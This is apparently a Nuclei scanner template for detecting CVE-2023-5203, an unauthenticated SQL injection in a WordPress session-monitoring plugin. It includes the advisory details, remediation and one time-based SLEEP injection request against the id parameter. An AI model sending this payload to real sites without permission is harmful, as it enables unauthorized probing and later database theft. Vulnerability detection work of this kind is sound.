id: CVE-2023-5203 info: name: WP Sessions Time Monitoring Full Automatic <= 1.0.8 - SQL Injection author: Shivam Kamboj severity: critical description: | The WP Sessions Time Monitoring Full Automatic plugin for WordPress is vulnerable to SQL Injection via request parameters in all versions up to, and including, 1.0.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. impact: | Attackers can retrieve sensitive database information without authentication, leading to data breach and privacy violations. remediation: | Update to version 1.0.9 or later to fix the vulnerability. reference: - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/activitytime/wp-sessions-time-monitoring-full-automatic-108-unauthenticated-sql-injection - https://wordpress.org/plugins/activitytime/ - https://nvd.nist.gov/vuln/detail/CVE-2023-5203 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-5203 epss-score: 0.02202 epss-percentile: 0.81325 cwe-id: CWE-89 metadata: verified: true max-request: 1 tags: cve,cve2023,wordpress,wp,wp-plugin,sqli,activitytime http: - raw: - | @timeout: 30s GET /?id=1%27%20AND%20%28SELECT%201%20FROM%20%28SELECT%28SLEEP%287%29%29%29test%29%20--%20 HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'duration >= 7' - 'status_code == 200' - 'contains(body, "activitytime_tracker")' - 'contains(content_type, "text/html")' condition: and # digest: 4b0a00483046022100b243f53e22f5c79994830c4f64475060b6c061b5358811bdeebfe71b45688b49022100fba455264243f0eb7d536722a900f020654c448b068e19773a343d546c4c798d:922c64590222798bb761d5b6d8e72950